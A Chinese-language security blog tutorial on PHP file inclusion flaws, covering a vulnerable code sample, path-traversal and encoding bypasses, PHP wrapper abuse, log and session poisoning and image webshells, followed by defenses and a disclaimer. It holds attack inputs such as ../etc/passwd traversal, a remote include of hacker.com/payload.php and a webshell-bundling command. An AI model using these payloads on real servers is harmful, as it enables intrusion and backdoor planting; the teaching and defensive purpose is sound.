利用文件包含漏洞植入木马以及绕过和防御
本文最后更新于11 天前,其中的信息可能已经过时,如有问题可在评论区留言

原理

文件包含漏洞(File Inclusion Vulnerability)是一种常见的安全漏洞,主要出现在 Web 应用程序中,尤其是使用 PHP 等语言的后端时。它允许攻击者通过操控应用程序的输入,包含并执行任意文件。以下是文件包含漏洞的基本原理:

  1. 文件包含的机制
    • Web 应用程序使用 includerequire 等函数来动态加载文件内容。攻击者可以通过操控输入参数,影响、改变这些函数的行为。
  2. 用户输入
    • 如果应用程序允许用户输入文件名,并直接将该输入传递给包含函数,攻击者可以输入恶意路径,试图加载不应被访问的文件。
  3. 路径解析
    • 攻击者可以利用相对路径(如 ../)来访问服务器上的敏感文件,甚至执行系统命令。

分类

  1. 本地文件包含(Local File Inclusion, LFI)
    • 攻击者利用该漏洞包含服务器上的本地文件。例如,输入 ../../etc/passwd 可能会加载Linux系统的密码文件。
  2. 远程文件包含(Remote File Inclusion, RFI)
    • 攻击者可以包含远程服务器上的文件。这通常发生在 allow_url_include 设置为启用的情况下。例如,攻击者可以输入一个恶意 URL,使得服务器加载并执行该 URL 中的代码。

示例

以下是一段简单的PHP代码示例:

<?php
$filename = $_GET['filename'];
include '/your/site/path/'.$filename
?>

这里的 filename 即是用户的可控参数,当这个参数可被用户输入任意内容时,便产生了文件包含漏洞。

正常情况下用户输入的url地址应该是:www.example.com/include.php?page=about.php ,这时访问的应该是该网站上的“关于”页面。

而如果用户输入的是 www.example.com/include.php?page=../../../../etc/passwd 时,则可能可以访问到这台服务器上的密码文件。

其他可能产生包含漏洞的函数包括:

  • include()
  • require()
  • include_once()
  • require_once()
  • fopen()
  • file_get_contents()
  • readfile()
  • highlight_file()
  • file()

规则绕过

当然,很多web应用程序都配置了部分的防御措施来避免这种漏洞,同样的,攻击者们也能有一些办法绕过防御措施。

1、路径跳出

使用 ../ 或 ..\\ 跳出当前目录,回到根目录,再进入任何你想进入的目录。

2、URL编码绕过

  • URL编码绕过:使用URL编码来绕过限制, ../ 的URL编码为 %2e%2e%2f
  • 二次编码绕过:对编码的%再次编码,即 %252E%252E%252F

3、后缀截断

  • 使用 %00(空字符)截断文件名后缀,例如 file.php%00.txt,使 其只包含 file.php。(仅适用PHP 5.3以下版本)
  • 远程包含时,可以使用 ? 来将原后缀变为参数,如 /file=http://hacker.com/payload.php?

漏洞利用

利用条件:php.ini配置文件中的allow_url_fopen(本地文件包含)和allow_url_include(远程文件包含)都为On

注意:使用url的get请求发送本地文件包含的payload传递参数时,因为第一个参数已经是文件名,后续参数应用 & 符号拼接,而不能再用 ? 添加参数。

一、伪协议

1、获取php源代码(php://filter

payload:php://filter/read/convert.base64-encode/resource=

当使用文件包含php文件时,只会输出php代码的运行结果,如果想要查看源代码,则可以使用伪协议 php://filter 来实现,这里会使用Base64编码来读取PHP文件内容,对输出结果进行Base64解码即可读取到源代码。

2、执行恶意代码(php://input

  • php://input:实际上这是远程包含的利用,其会读取POST提交的内容并执行,只要在POST正文中写入简单的一句话木马即可植入木马
  • data://text/plan :作用与input类似,区别是data使用GET请求,并将使用Base64编码的payload。在URL中直接填入payload即可:data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==

3、读取压缩包文件

  • phar://:phar支持多级压缩内路径,格式为:压缩包路径/包内文件路径
  • zip://:zip读取压缩包内文件时仅支持单层目录结构,不支持多层目录。格式为:压缩包路径#压缩包内文件

这里通常配合上传文件漏洞使用,需要注意的是在url中的 # 需要改成 %23 才能正确生效。

二、包含WEB日志

1、由于中间件的日志会把用户访问的URL完全记录到日志中,通过在网站URL中构建恶意php代码,再用文件包含执行这段代码,即可实现漏洞利用。

2、url中写入php代码时,由于url中不能有空格,所以可以用双引号将php代码包裹后,即可在代码中使用空格。(payload中的?>没了,把?>前的空格去掉即可重新出现。)

3、在浏览器输入url时,特殊字符会被转码,所以可以使用burp来构建请求。

4、apache2中默认访问日志路径:/var/log/httpd/access_log/var/log/apache2/access_log,但默认日志文件夹的权限为700,因此默认情况下中间件创建的用户无法读取此文件。

5、linux的权限:当父级文件夹的权限无法读取时,则子目录下的文件即使有权限也无法读取。

三、包含SSH、MYSQL日志

当你使用ssh或mysql远程登陆服务器时,你使用的用户名会被记录到日志中,所以可以在用户名处构建php恶意代码

而msyql除了登陆日志还有查询日志也可以插入php代码。

ssh日志路径:/var/log/secure(红帽系)或者/var/log/auth.log(DEB系),默认权限600或640。

mysql日志:通常为管理员自定义

这两种日志同样存在读取权限的问题。

四、包含图片

通过cmd命令制作图片马:copy img.jpg/b + shell.php shell.jpg ,shell.php为你的一句话木马。将图片上传后再用包含漏洞包含即可,传参使用&。

五、包含SEESION

某些网站的seesion文件中包含了用户名的账号,利用这点构建一个用户名为恶意代码的用户,再包含seesion文件即可实现植入木马。

思考

文件包含漏洞通常需要依赖其他漏洞进行综合利用,例如文件上传漏洞和权限配置不当。单纯依靠文件包含漏洞,较难实现上传木马或执行恶意代码。攻击者往往需要通过文件上传漏洞将恶意文件上传到服务器,或者利用权限配置不当的情况,获取对敏感文件的访问权限。此外,攻击者还可能利用其他漏洞(如 SQL 注入或跨站脚本攻击)来获取更高的权限,从而实现更复杂的攻击。

防御手段

1. 输入验证

  • 白名单机制:确保只允许特定的文件类型或文件名被包含。使用正则表达式或其他验证方法来检查输入是否合法。
  • 过滤特殊字符:避免用户输入中包含路径遍历字符(如 ../),以防止访问不应访问的文件。
  • 让用户进行选择而不是输入:尽量在代码层面固定好需要包含的文件,让用户进行选择,而不是随意的输入任何字符。

2. 限制文件包含路径

  • 使用绝对路径:在代码中使用绝对路径而不是相对路径,避免用户输入的路径影响文件包含。
  • 设置包含目录:限制可包含的文件目录,例如通过配置 PHP 的 open_basedir 指令。

3. 权限管理

  • 最小权限原则:确保应用程序运行在最小权限下,限制对文件系统的访问权限。
  • 文件权限设置:确保敏感文件的权限设置正确,防止未授权访问。

4. 使用安全函数

  • 替代函数:使用安全的文件处理函数,例如在 PHP 中使用 include_once 或 require_once,以避免重复包含和潜在的漏洞。
  • 避免动态文件包含:尽量避免使用动态生成的文件名来进行包含操作,降低风险。

5. Web 应用防火墙(WAF)

  • 部署 WAF:使用 Web 应用防火墙来检测和拦截恶意请求,提供额外的保护层。

免责声明
本网站所提供的知识、技术和信息,仅供学习和研究之用。我们不支持任何非法活动或行为,包括但不限于:
未经授权的访问:任何对计算机系统、网络或数据的未经授权访问均违反《中华人民共和国刑法》第286条和《计算机信息网络国际联网安全保护管理办法》。
信息盗窃:任何形式的信息盗窃或破坏行为均可能受到法律追究,违反《中华人民共和国反不正当竞争法》和《中华人民共和国网络安全法》。
传播恶意软件:传播病毒、木马等恶意软件的行为属违法行为,可能导致民事和刑事责任。
用户在使用本网站提供的信息时,须遵循相关法律法规,确保自己的行为合法。我们不对因使用本网站信息而导致的任何直接或间接损失承担责任。
如您对本网站内容有任何疑问或建议,请及时与我联系。
感谢您的理解与支持!
作者:Chr1s
本文版权归作者所有,未经允许,禁止转载、复制或以其他方式使用。若需引用或转载,请与作者联系。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇